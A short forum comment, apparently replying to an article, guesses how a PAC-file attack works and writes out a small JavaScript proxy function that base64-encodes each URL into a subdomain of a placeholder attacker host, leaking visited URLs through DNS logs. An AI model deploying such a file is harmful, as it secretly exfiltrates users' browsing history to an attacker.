Comment by zhuzhuor

From the description in the article, I guess the attack might use a PAC file like the following

  function FindProxyForURL(url, host) {
    return "PROXY " + base64(url) + ".malicious-proxy.tld:1080";
  }

Then the attacker can look at his/her DNS server query log and figure out the URL.